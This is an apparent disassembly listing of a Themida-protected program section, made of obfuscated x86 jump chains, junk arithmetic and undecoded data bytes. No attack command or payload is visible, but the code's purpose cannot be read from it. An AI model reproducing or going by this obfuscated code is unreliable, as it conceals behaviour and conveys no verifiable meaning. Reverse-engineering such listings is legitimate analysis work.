; ---------------------------------------------------------------------------
loc_54BF50: ; CODE XREF: Themida_:0054DAE7j
sub esp, 4
jmp loc_54950B
; ---------------------------------------------------------------------------
db 66h
dd 81240C8Bh, 4ECh, 240C8900h, 6B2F68h, 48F5400h, 0A45AE924h
dd 0EA80FFFFh, 6DEA80B5h, 281FC280h, 40E95AD0h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BF87: ; CODE XREF: Themida_:0054D4B0j
push esi
mov esi, esp
jmp loc_54E016
; ---------------------------------------------------------------------------
db 89h
dd 89E9240Ch
db 7Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BF97: ; CODE XREF: Themida_:0054F798j
add ecx, 5A5F496Dh
jmp loc_54FB52
; ---------------------------------------------------------------------------
dw 1489h
dd 0E9545224h, 0FFFFC5BDh, 19606850h, 0E9586ED0h, 1BF3h
dd 0E9241C89h, 0FFFF882Bh, 45EB8158h, 29BA93F6h, 241C8BDEh
dd 104C483h, 24348BF5h, 8704C483h, 248B242Ch, 0C83B6624h
dd 7A3AE99Ch, 0C483FFFFh, 34C4E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BFEE: ; CODE XREF: Themida_:00545B21j
push eax
jmp loc_54D230
; ---------------------------------------------------------------------------
loc_54BFF4: ; CODE XREF: Themida_:0054E022j
pop esp
sub esp, 4
jmp loc_54C093
; ---------------------------------------------------------------------------
dd 2B95152h, 89000000h, 0D50159CAh, 242C875Ah, 6624248Bh
dd 9C240429h, 0FFE102E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C01D: ; CODE XREF: Themida_:0054DF68j
push ebp
jmp loc_54BADC
; ---------------------------------------------------------------------------
db 0B8h
dd 63A9383Ah, 0C137B10Dh, 5BFC2D5Ah, 1C2D2CF7h, 0E92AC914h
dd 0FFFFE957h, 68D6F658h, 1732h, 0B7241C89h, 0D493E9DFh
dd 0CDE9FFFFh, 81FFFF79h, 63555DEBh, 4EC8147h, 89000000h
dd 47B82404h, 81327A61h, 0CE446EC2h, 0E9C20121h, 0FFFF80D7h
dd 30B0E951h, 34FF0000h, 9EB4E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
pop edi
jmp loc_546792
; ---------------------------------------------------------------------------
loc_54C093: ; CODE XREF: Themida_:0054BFFBj
mov [esp], esi
mov esi, 10F64A1Ch
add eax, esi
jmp loc_54F342
; ---------------------------------------------------------------------------
loc_54C0A2: ; CODE XREF: Themida_:00543AACj
push ebp
push edi
mov edi, 3B3B6D7Dh
inc edi
shr edi, 6
dec edi
add edi, 356375D1h
jmp loc_5498AA
; ---------------------------------------------------------------------------
db 81h, 0C5h, 5Dh
dd 56078315h, 172967BEh, 0E9F53144h, 0FFFFA4DBh, 8B240489h
dd 89572404h, 4C781E7h, 68000000h, 2A38h, 50240C89h, 0AE75F8B8h
dd 4C8D2D17h, 0D1E91685h, 59FFFFF5h, 0FFC0BAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C0F9: ; CODE XREF: Themida_:0054A7E3j
pop ebp
shl edx, 2
push edx
xchg edx, [esp]
not edx
jmp loc_54CA54
; ---------------------------------------------------------------------------
dd 8B2434FFh, 0C4832404h, 0E3895304h, 4C381h, 0EB830000h
dd 0CD27E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C122: ; CODE XREF: Themida_:0054F354j
add esp, 4
push 4E07h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], edx
push 4
pop edx
add eax, edx
mov edx, [esp]
add esp, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
or eax, eax
jnz loc_549FEB
push ecx
push 1214h
jmp loc_54DEE3
; ---------------------------------------------------------------------------
dd 592434FFh, 0FF98B2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C171: ; CODE XREF: Themida_:0054959Dj
mov ecx, 55327DD8h
jmp loc_547380
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF78A0h, 24048B66h, 65E95451h, 0B2FFFFD6h, 42C28002h
dd 8033CA80h, 0C32C02C2h, 2BE9D028h, 0E9FFFF95h, 0FFFF787Ch
dd 376163BAh, 8BD10123h, 0C4832414h, 81F10104h, 4ECh, 24048900h
dd 0AC58E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C1C2: ; CODE XREF: Themida_:00548E02j
mov edx, 13687D56h
neg edx
jmp loc_54E171
; ---------------------------------------------------------------------------
dw 8F54h
dd 39E92404h, 81FFFFE5h, 4C4h, 0B281E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C1E2: ; CODE XREF: Themida_:00547AD9j
add ecx, 4
xchg ecx, [esp]
pop esp
add ebx, 15F1837Eh
xor eax, ebx
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push edi
jmp loc_544954
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 0DCE90000h, 59000003h, 5E168h, 24048900h, 0FF77F7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C229: ; CODE XREF: Themida_:00545A5Fj
mov [esp], ecx
push 0CE4h
mov [esp], esi
jmp loc_54E705
; ---------------------------------------------------------------------------
db 55h, 0BDh, 2Fh
dd 814E8B6Fh, 0EF17BFC5h, 9CC4E946h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C24A: ; CODE XREF: Themida_:00544F0Ej
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_54ADB3
; ---------------------------------------------------------------------------
db 68h, 4Ah, 2Dh
dd 4890000h, 0EBFE924h, 83AD0000h, 0F00207Fh, 0FF7D0D84h
dd 0D7B850FFh, 1393A45h, 2434FFC6h
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
mov esi, 4
jmp loc_545BC0
; ---------------------------------------------------------------------------
db 0ACh, 66h, 68h
dd 89E964C6h, 81FFFF8Ah, 2A76B6EEh, 5EF2091Dh, 81EAD14Ah
dd 0F5C00F2h, 0E9D62957h, 1A2h, 0CE022668h, 9CE95B2Ch
dd 87FFFFE5h, 0E95C2404h, 0FFFF775Ch
; ---------------------------------------------------------------------------
loc_54C2C4: ; CODE XREF: Themida_:0054F72Dj
add esp, 4
and eax, edi
pop edi
or eax, eax
jz loc_546E67
push 7A2h
mov [esp], ebx
jmp loc_54CD36
; ---------------------------------------------------------------------------
dw 0CE81h
dd 64AE4000h, 0FFD70AE9h, 772EE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C2F2: ; CODE XREF: Themida_:00545FC4j
mov esi, 55B66916h
inc esi
jmp loc_548ED8
; ---------------------------------------------------------------------------
db 89h, 3Ch, 24h
dd 0C82256BFh, 0C7814761h, 0C91054AAh, 0FFF7A3E9h, 0B45066FFh
dd 66E6887Eh, 9513E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C31E: ; CODE XREF: Themida_:0054C4D8j
pop esi
sub esi, 0FFFFFFFFh
neg esi
push ebx
jmp loc_54DBD3
; ---------------------------------------------------------------------------
db 80h, 0EDh, 54h
dd 0C8BE888h, 4C48324h, 50519B04h, 0C4FE61B4h, 886DEC80h
dd 0DE958E1h, 2900002Ch, 0D8295AD0h, 0FFF40DE9h, 24248BFFh
dd 0E99CC884h, 0FFFF76C0h, 0BA52505Bh, 1D731E7Dh, 1FC9E9h
db 0
; ---------------------------------------------------------------------------
loc_54C36D: ; CODE XREF: Themida_:00546444j
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 165F8C75h
sub edi, ecx
pop ecx
sub ebx, edi
jmp loc_54956E
; ---------------------------------------------------------------------------
loc_54C383: ; CODE XREF: Themida_:0054F938j
mov ecx, [esp]
jmp loc_54A474
; ---------------------------------------------------------------------------
db 0B8h
dd 37510964h, 2DD0F748h, 0C8AEF698h, 0DDE9C701h, 0FFFFFF93h
dd 34FF2434h, 0E9575824h, 0FFFF8A0Ah, 1C7668h, 242C8900h
dd 0E45DDFBDh, 24E58132h, 81306238h, 0CE073DCDh, 20FE96Dh
dd 14300000h, 24143224h, 66241430h, 66181A68h, 0E9240489h
dd 0FFFFA8F1h, 0E9243C89h, 0FFFFB7ACh
; ---------------------------------------------------------------------------
loc_54C3E8: ; CODE XREF: Themida_:0054B6A5j
push esi
mov esi, esp
jmp loc_54F65D
; ---------------------------------------------------------------------------
dd 240C8B66h, 68E28952h, 354Dh, 52243C89h, 4DDE9h, 59CD0100h
dd 200968h, 24048900h, 4B8h, 0CB9EE900h, 455FFFFFh, 0E9E78957h
dd 0FFFFD9A8h, 4C1815Eh, 87000000h, 0EE9240Ch, 8100002Bh
dd 5D9A14C2h, 0A30EE9DAh, 0C381FFFFh, 27B2FC3h, 30E9BF57h
dd 0FB29C576h, 0D8A9E95Fh, 295AFFFFh, 24348BF0h, 5004C483h
dd 50656855h, 2C8B22E9h, 4C48324h, 69C9ED81h, 0C5816C73h
dd 89E4946Fh, 58E9E889h, 8BFFFF98h, 5EE92424h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C483: ; CODE XREF: Themida_:0054BE06j
xor [esp], ebp
xor ebp, [esp]
pop esp
pop ebx
jmp loc_543A20
; ---------------------------------------------------------------------------
dd 0E9028F64h, 0FFFF7588h, 2104F181h, 0B850418Eh, 8FE27709h
dd 0FFBFA3E9h, 0EB0058FFh, 0C0B60F59h, 6887048Dh, 59CDh
dd 0E9240489h, 0FFFF7560h, 75CEBA52h, 0CA814714h, 7AA66A1Fh
dd 0FFF2F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C4D1: ; CODE XREF: Themida_:0054AECBj
push edx
push esi
push 5C4C32A8h
jmp loc_54C31E
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aHG db '$h(g',0
align 2
aIH db '‰,$h¶)',0
align 2
dw 2489h
dd 24048124h, 4, 8B2434FFh, 0C483242Ch, 4C48304h, 0D9CE9h
dd 0D3F58100h, 0E9039D8Bh, 0FFFFB69Ch
; ---------------------------------------------------------------------------
loc_54C514: ; CODE XREF: Themida_:00545C5Dj
push edi
mov edi, 76022FE3h
or edi, 4544444Dh
sub edi, 73064BAAh
sub esi, edi
jmp loc_549A81
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 6659669Dh, 9C2414D3h, 0FF74E3E9h, 0E95453FFh, 0FFFFA66Eh
; ---------------------------------------------------------------------------
loc_54C544: ; CODE XREF: Themida_:00547F6Fj
sub dh, al
pop ax
xor al, dh
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_54D6B6
; ---------------------------------------------------------------------------
db 0F6h
dd 0C57EE9D0h, 0F480FFFFh, 9677E9CFh, 0D501FFFFh, 0E92434FFh
dd 0FFFF9DF8h, 0B7241C89h, 2BEF8027h, 0C7FED7F6h, 0FFEA1DE9h
dd 2434FFFFh, 0FF2434FFh, 81582434h, 4C4h, 4C48300h, 0E904EC83h
dd 0FFFFCB0Dh, 0C181C101h, 1A5861CBh, 0DCC1E953h, 7DBAFFFFh
dd 317D1B2Dh, 44E959CAh, 81FFFFA3h, 4C4h, 4EC8100h, 89000000h
dd 4CE92434h, 5C00000Fh, 5B240489h, 0FFCA6BE9h, 4FB951FFh
dd 0E90A6969h, 0B91h
; ---------------------------------------------------------------------------
loc_54C5E4: ; CODE XREF: Themida_:00548B24j
pop esp
jmp loc_545A59
; ---------------------------------------------------------------------------
dw 0A9B8h
dd 0C10ABB6Ch, 8BE902E8h, 57FFFF84h, 4150FC68h, 0E01E929h
dd 89660000h, 0FF662414h, 66022474h, 48F665Ah, 0CBFDE924h
dd 1C8BFFFFh, 4C48124h, 83000000h, 0F9E904C4h
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C627: ; CODE XREF: Themida_:005491B9j
mov edi, [esp]
add esp, 4
mov edx, ebx
pop ebx
xchg edi, edx
dec edi
jmp loc_5495A2
; ---------------------------------------------------------------------------
loc_54C638: ; CODE XREF: Themida_:005445C4j
push 2F38764Dh
pop ebx
add ebx, 0EB26F81Ah
mov edi, ebx
pop ebx
push edi
pop ebx
mov edi, [esp]
push ecx
jmp loc_546A4A
; ---------------------------------------------------------------------------
dw 4F09h
dd 0C5E9591Ch, 50FFFF73h, 114411B8h, 58C52930h, 0C15DEA29h
dd 0CA8107EAh, 0EE547C6h, 0FFAFB0E9h, 55C2BAFFh, 0BB532BFFh
dd 2F976AD2h, 5C2AE381h, 0C3811D13h, 49675EE3h, 0FFA4D0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C691: ; CODE XREF: Themida_:0054F70Dj
pop eax
dec ecx
add ecx, 0EFAB345h
jmp loc_544A47
; ---------------------------------------------------------------------------
loc_54C69E: ; CODE XREF: Themida_:0054877Cj
pop eax
add esp, 4
jmp loc_543A20
; ---------------------------------------------------------------------------
dw 0F75Ah
dd 6FC581DDh, 0E97EF73Fh, 538h, 9C48E9ACh, 401FFFFh, 24048124h
dd 7B6D59E6h, 0B242C81h, 0E94E7338h, 0FFFFD8BFh, 8C6F5F2Dh
dd 0E9F02929h, 0FFFFCC0Dh
; ---------------------------------------------------------------------------
loc_54C6E0: ; CODE XREF: Themida_:005465A2j
pop ebx
push ebp
jmp loc_544280
; ---------------------------------------------------------------------------
db 58h
dd 5EADEB81h, 0EB8139D8h, 57C3704Ah, 0EC81C301h, 4, 0BA241489h
dd 7DEA5E0Fh, 0EA81DAF7h, 7A520C3h, 38E8CA81h, 0F5E94271h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C717: ; CODE XREF: Themida_:00544A24j
pop edi
sub edx, 177B342Eh
xor ecx, edx
pop edx
jmp loc_548AC0
; ---------------------------------------------------------------------------
dw 815Eh
dd 292901C6h, 0E9F10136h, 15FCh, 8B2434FFh, 0C4812404h
dd 4, 0FFE28FE9h, 4E0C1FFh, 12Dh, 222B0500h, 42D705Eh
dd 29D5999Fh, 8EDFE9C6h, 0D188FFFFh, 0FF8A46E9h, 5BF988FFh
dd 0C180D1F6h, 0FEC9FE26h, 2E1C0C9h, 0B1F180h, 0AC7FE9C8h
dd 4481FFFFh, 24890824h, 75E900DDh, 5400002Dh, 0FF788BE9h
dd 6B2BBFFh, 81430FE0h, 1FF951C3h, 0E9D901F0h, 0FFFF88BFh
dd 6128CB9h, 59C80116h, 0DECE9h, 294BD00h, 0EF290340h
dd 6DD5685Dh, 2C890000h, 0F397BD24h, 0C781C9FFh, 1F61ED4h
dd 0EF81EF29h, 1F61ED4h, 5FF8015Dh, 1B2F6856h, 1C890000h
dd 42C9BB24h, 0DE89389Ch, 5B2434FFh, 0FFBD2EE9h, 0E9C188FFh
dd 0FFFFB570h, 2404215Ch, 721EE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C802: ; CODE XREF: Themida_:0054721Dj
xor eax, 6A825E78h
jmp loc_54F67F
; ---------------------------------------------------------------------------
dd 5E08950h, 4, 405h, 4EC8100h, 89000000h, 74FF2404h, 48B0424h
dd 0AC3EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C82E: ; CODE XREF: Themida_:00543B79j
and eax, edx
push dword ptr [esp]
pop edx
push edx
jmp loc_54833E
; ---------------------------------------------------------------------------
dw 0D7F6h
dd 0FF931BE9h, 242C89FFh, 2434FF54h, 0FFDCA7E9h, 48B66FFh
dd 1A6B6824h, 2C890000h, 81E58924h, 4C5h, 835AE900h, 0E789FFFFh
dd 465DBA52h, 0D8E924D0h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C873: ; CODE XREF: Themida_:00548FCEj
sub ebx, 49BD1D47h
jmp loc_54BF18
; ---------------------------------------------------------------------------
dw 0E955h
dd 0FFFFCAFDh, 0C380C300h, 69EB80B1h, 31FB68h, 240C8900h
dd 8061B450h, 0E480AAE4h, 61F48055h, 0E902ECC0h, 0FFFFACA3h
; ---------------------------------------------------------------------------
loc_54C8A8: ; CODE XREF: Themida_:00545E07j
mov ecx, ebx
pop ebx
jmp loc_5480D7
; ---------------------------------------------------------------------------
loc_54C8B0: ; CODE XREF: Themida_:0054D250j
dec ecx
inc ecx
dec ecx
sub ecx, 0D4232BB4h
add ebx, ecx
mov ecx, [esp]
jmp loc_54534A
; ---------------------------------------------------------------------------
db 59h
dd 8124348Bh, 4C4h, 0B8F68100h, 0E97B461Ch, 0FFFFB4A6h
dd 905353BBh, 8B83E94Ch, 0E3BAFFFFh, 0BF688450h, 36C26C12h
dd 0C3E9D731h, 66FFFFDCh, 0E9E8285Bh, 0FFFFC9A7h, 9D1C77FFh
dd 4105866h, 15E99C24h, 2CFFFF71h, 0B75351FFh, 0FE4FE937h
dd 5E9FFFFh, 8BFFFF71h, 0E9562424h, 0FFFFC15Ch, 60E9C629h
dd 0FFFFFFD5h, 0E4E92434h, 51FFFFDAh, 0FFFE6BE9h, 0F6E95CFFh
dd 6600001Dh, 5302B60Fh, 5155E389h, 84207FB9h, 7637E924h
dd 0E289FFFFh, 0FFACDEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C959: ; CODE XREF: Themida_:0054AAA4j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
push esp
pop eax
jmp loc_54E44B
; ---------------------------------------------------------------------------
loc_54C978: ; CODE XREF: Themida_:0054F5CAj
mov eax, 2B8448C0h
neg eax
xor eax, 8D2CF59Ch
and ecx, eax
pop eax
sub esp, 4
mov [esp], ebp
jmp loc_54F873
; ---------------------------------------------------------------------------
align 2
aIysp db 'ëYép',0
align 4
db 0
; ---------------------------------------------------------------------------
loc_54C99D: ; CODE XREF: Themida_:00545EC6j
xchg eax, [esp]
dec eax
jmp loc_549714
; ---------------------------------------------------------------------------
dw 72B2h
dd 1FE9D328h, 89FFFF81h, 0BB53243Ch, 4, 15BDF89h, 0C5815FFDh
dd 4, 8B242C87h, 0C8852424h, 704EE99Ch, 0EF80FFFFh, 0E9D70088h
dd 0FFFFF4B1h, 31241C33h, 1C33241Ch, 25E95C24h, 5EFFFF7Eh
dd 8B240487h, 4892424h, 48B5424h, 4C48124h, 51000000h
dd 984DDEB9h, 1C18352h, 0FF8498E9h, 50B252FFh, 8BE95066h
dd 81FFFFA4h, 4C4h, 0A6E95200h, 81FFFFF1h, 4C1h, 240C8700h
dd 4EC815Ch, 89000000h, 0F1B22414h, 4EC81h, 4890000h, 80E9B424h
dd 0F480BACCh, 58E20850h, 0E905E2C0h, 0FFFFB17Bh
; ---------------------------------------------------------------------------
loc_54CA54: ; CODE XREF: Themida_:0054C103j
xchg edx, [esp]
pop edx
xor edx, 0E9EB199Fh
and ecx, edx
pop edx
shr ecx, 7
sub esp, 4
jmp loc_547206
; ---------------------------------------------------------------------------
db 53h
dd 0FFBDCCE9h, 246C01FFh, 242C8B04h, 4C481h, 0C8B0000h
dd 4C48324h, 4C181h, 0B8500000h, 2, 36DEC181h, 0C10176A0h
dd 0FFF20DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CAA1: ; CODE XREF: Themida_:00543E2Aj
and eax, edx
jmp loc_546AC7
; ---------------------------------------------------------------------------
dd 0E924048Bh, 0FFFFA7DFh, 1B9h, 0FFC82100h, 34FF2434h
dd 0D068E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CAC2: ; CODE XREF: Themida_:005486CAj
xor eax, edx
xor edx, eax
xor eax, edx
jmp loc_543C87
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 0CDh
dd 5BFFFFC9h, 3B20EB81h, 0DE0168E8h, 56241C8Bh, 0C681E689h
dd 4, 8704C683h, 525C2434h, 4BAh, 0E9D60100h, 10A6h, 8324148Bh
dd 0BD5504C4h, 76443081h, 0C105E5C1h, 0BB5308EDh, 569615Ch
dd 7352CB81h, 2E95FF2h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CB1F: ; CODE XREF: Themida_:0054E921j
push eax
mov eax, 0BB97F93Ch
xor esi, eax
jmp loc_548BAC
; ---------------------------------------------------------------------------
dd 0E9241C8Bh, 0FFFF99A9h, 0BA52F001h, 501B7F4Ah, 318E9h
db 0
; ---------------------------------------------------------------------------
loc_54CB41: ; CODE XREF: Themida_:0054E011j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_548D94
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0FFh
dd 4BFFFFFFh, 1826EB81h, 814B2928h, 0A123BDF3h, 5BD921D2h
dd 0FF82F1E9h, 0AFE95AFFh, 0FFFF95h, 3EE958C2h, 8100001Eh
dd 531F76C1h, 24148B41h, 0FDC4E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CB8E: ; CODE XREF: Themida_:0054A8D8j
xor ebp, 666759D2h
push ecx
mov ecx, 794A1F53h
sub ecx, 20542D52h
add ecx, 6E4F2770h
push eax
mov eax, 51983AE7h
shl eax, 5
add eax, 38CC0CD3h
shr eax, 3
add eax, 6EADD5F7h
jmp loc_54AD50
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0
dd 142050Ah, 2434FFC1h, 4C48358h, 0FFD5F9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CBD5: ; CODE XREF: Themida_:0054A634j
mov ebx, [esp]
push edi
mov edi, esp
jmp loc_546AEB
; ---------------------------------------------------------------------------
dd 0E6464DBEh, 0FFF00168h, 0E95E2434h, 1A3Ah, 535DE901h
dd 4BBh, 68E98100h, 13F6975h, 68C181D9h, 5B3F6975h, 0E9240C87h
dd 0FFFFC344h, 4C281h, 0AFE90000h, 83FFFF84h, 0C68104C4h
dd 4, 5C243487h, 6968D231h, 89000074h, 34FF241Ch, 24048B24h
dd 8304C483h, 0C8904ECh, 4EC8124h, 89000000h, 0BE562424h
dd 4, 4247401h, 0FFAF69E9h, 4EE953FFh
db 80h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CC5F: ; CODE XREF: Themida_:00549D1Ej
sub ebp, 2C703EECh
add ebp, ecx
add ebp, 2C703EECh
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push 121Dh
mov [esp], ebp
jmp loc_54E02D
; ---------------------------------------------------------------------------
dw 0C15Ah
dd 0EEC103EEh, 34BA5204h, 0C13A4B07h, 0E28108EAh, 61CF5D46h
dd 490AEA81h, 0CA8176F3h, 2DA46C9Eh, 0FFC673E9h, 2434FFFFh
dd 4C4815Ah, 4000000h, 339E933h, 0F7660000h, 644768F9h
dd 1C890000h, 1C8B5424h, 7E72E924h, 0C89FFFFh, 91E95224h
dd 89000008h, 165CE9E1h, 0EB830000h, 75EB8101h, 81310007h
dd 38560DF3h, 0E9D8011Ch, 0FFFF7D60h, 4B850h, 0C7890000h
dd 0E9BE5658h, 0E9020E2Bh, 1C61h, 4E01E181h, 0E1C11E36h
dd 0B1A5E907h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CD1A: ; CODE XREF: Themida_:0054DEF2j
mov ebx, eax
pop eax
mov ecx, ebx
jmp loc_54E30C
; ---------------------------------------------------------------------------
dd 4B4D3605h, 4566869h, 0C890000h, 7DC6E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CD36: ; CODE XREF: Themida_:0054C2DDj
push eax
push esi
mov esi, 13DC495Ch
xor esi, 258C545Dh
not esi
dec esi
jmp loc_549A73
; ---------------------------------------------------------------------------
loc_54CD4B: ; CODE XREF: Themida_:00543EA6j
pop ebx
sub ebx, 36A91B3Bh
pop eax
sub ebx, 0A5F2047h
add ebx, 4E0E6C0Bh
add ebx, edi
sub ebx, 4E0E6C0Bh
add ebx, 0A5F2047h
mov ecx, [ebx]
push dword ptr [esp]
pop ebx
add esp, 4
push ebp
mov ebp, esp
jmp loc_5484CE
; ---------------------------------------------------------------------------
dw 8358h
dd 30E904C4h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CD87: ; CODE XREF: Themida_:00549A92j
add ecx, esi
jmp loc_547AD8
; ---------------------------------------------------------------------------
dw 0C181h
dd 0F71FBBFFh, 0FFF8B9E9h, 243433FFh, 0FFFB7AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CDA1: ; CODE XREF: Themida_:005493A7j
add ecx, 0F68B3F4Eh
mov edx, ecx
pop ecx
add edx, 2AFD48C2h
add edx, edi
sub edx, 2AFD48C2h
sub esp, 4
jmp loc_54B9D7
; ---------------------------------------------------------------------------
db 55h
dd 468h, 242C8B00h, 0FF9D69E9h, 3070B4FFh, 22E958E1h, 0E9FFFF83h
dd 0FFFF6C40h, 2414F756h, 0FFF93DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CDE9: ; CODE XREF: Themida_:00544E5Dj
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
xor [edi+24h], ecx
push edx
jmp loc_546A33
; ---------------------------------------------------------------------------
dw 0C483h
dd 4C48104h, 0E9000000h, 7A8h
; ---------------------------------------------------------------------------
loc_54CE10: ; CODE XREF: Themida_:005484C9j
add edx, 2883323Fh
jmp loc_544CD8
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 6BFAE900h, 0C783FFFFh, 0D03EE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CE2E: ; CODE XREF: Themida_:0054F2A3j
mov edx, 4
add eax, edx
pop edx
push 3ED8h
jmp loc_549CF3
; ---------------------------------------------------------------------------
loc_54CE40: ; CODE XREF: Themida_:00549D60j
mov eax, esp
add eax, 4
jmp loc_54EA24
; ---------------------------------------------------------------------------
dd 0BA52F001h, 6DA86463h, 0FFB3D7E9h, 5AD029FFh, 8124348Bh
dd 4C4h, 44BD5500h, 0C163362Ch, 0E5C107EDh, 94F58108h
dd 56D43633h, 6045BEBEh, 0A55FE957h, 0D601FFFFh, 2ABDE9h
dd 2434FF00h, 8428E95Fh, 248BFFFFh, 2404D224h, 6B82E99Ch
dd 0B951FFFFh, 7B461CB8h, 4244C31h, 0FFFA16E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CEAD: ; CODE XREF: Themida_:00544736j
xchg eax, edx
xchg edx, [esp]
pop ebp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
mov eax, [esp]
push ebx
push esp
pop ebx
jmp loc_548B18
; ---------------------------------------------------------------------------
dw 0A8B6h
dd 86A8EE80h, 86CBFEDEh, 0C2B450DEh, 2C54E9h, 7AEB8000h
dd 0C380D300h, 2434FF7Ah, 17E7E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CEEA: ; CODE XREF: Themida_:0054E140j
mov edx, 3FA735E1h
sub edx, 49B63A5Fh
jmp loc_547190
; ---------------------------------------------------------------------------
dw 487h
dd 0C895C24h, 68685624h, 0E97B5C1Eh, 0FFFFBD0Dh, 716768h
dd 241C8900h, 0FB551268h, 0C3815B30h, 554D64F6h, 45FCC381h
dd 0C18179B7h, 39A66464h, 0BAE9D901h, 0F7FFFF92h, 0C28142DAh
dd 3085E08h, 0EA81EAD1h, 4F239B84h, 875AD101h, 0E95C240Ch
dd 0FFFFD14Bh, 159CE89h, 0E9042474h, 0FFFF9C3Dh, 81E68956h
dd 4C6h, 4C68100h, 87000000h, 875C2434h, 0C5E92434h, 66000008h
dd 56240C8Bh, 0FFDB8DE9h, 815A54FFh, 4C2h, 4C28100h, 87000000h
dd 565C2414h, 4BEh, 0A87EE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CF9E: ; CODE XREF: Themida_:0054958Ej
add ebx, 4E4E5FE8h
jmp loc_549BF8
; ---------------------------------------------------------------------------
db 56h, 0BEh, 0ADh
dd 46335F6Ah, 6AAAF681h, 0F101335Fh, 76E9565Eh, 89FFFF7Fh
dd 4C281E2h, 0E9000000h, 0FFFF6CD1h, 4C4815Bh, 81000000h
dd 4C4h, 6A42E900h, 0B8FFFFh, 2D000000h, 741D505Fh, 5F05C829h
dd 89741D50h, 57E958C1h, 28FFFFB2h, 5B332CF8h, 0FFC8B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D001: ; CODE XREF: Themida_:0054A838j
pop edx
push eax
sub esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_544E4E
; ---------------------------------------------------------------------------
dw 505Eh
dd 4B8h, 8BC22900h, 65E92404h, 31FFFFC8h, 0E68956D8h, 4C681h
dd 0EE830000h, 24343304h, 0E9243431h, 0FFFF6ACBh, 195215BEh
dd 81DEF763h, 661701EEh, 0C9CE8117h, 810F3759h, 0C66434EEh
dd 0C0ADE924h, 0E95FFFFFh, 0FFFFF9B3h, 42474FFh, 24048F5Bh
dd 48B665Ch, 0EC94E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D082: ; CODE XREF: Themida_:00546B94j
sub edi, eax
jmp loc_54E1B9
; ---------------------------------------------------------------------------
db 88h, 0E7h, 8Bh
dd 0C4832404h, 0FD885A04h, 83241C8Bh, 0E83004C4h, 240C8B66h
dd 2C481h, 0EB800000h, 4FAA68B7h, 4890000h, 0C0A3B424h
dd 0C48007ECh, 5DC48006h, 66E2CC80h, 305FB753h, 285B66FCh
dd 15E958E3h, 81FFFFE7h, 0A8EA99EBh, 16952D4Fh, 0A805428Ah
dd 52C8F26h, 1C58705Ch, 5C2DD829h, 2D1C5870h, 2C8F26A8h
dd 222BB951h, 0F181639Bh, 42C11C2Ah, 0FFFC0BE9h, 68FFh
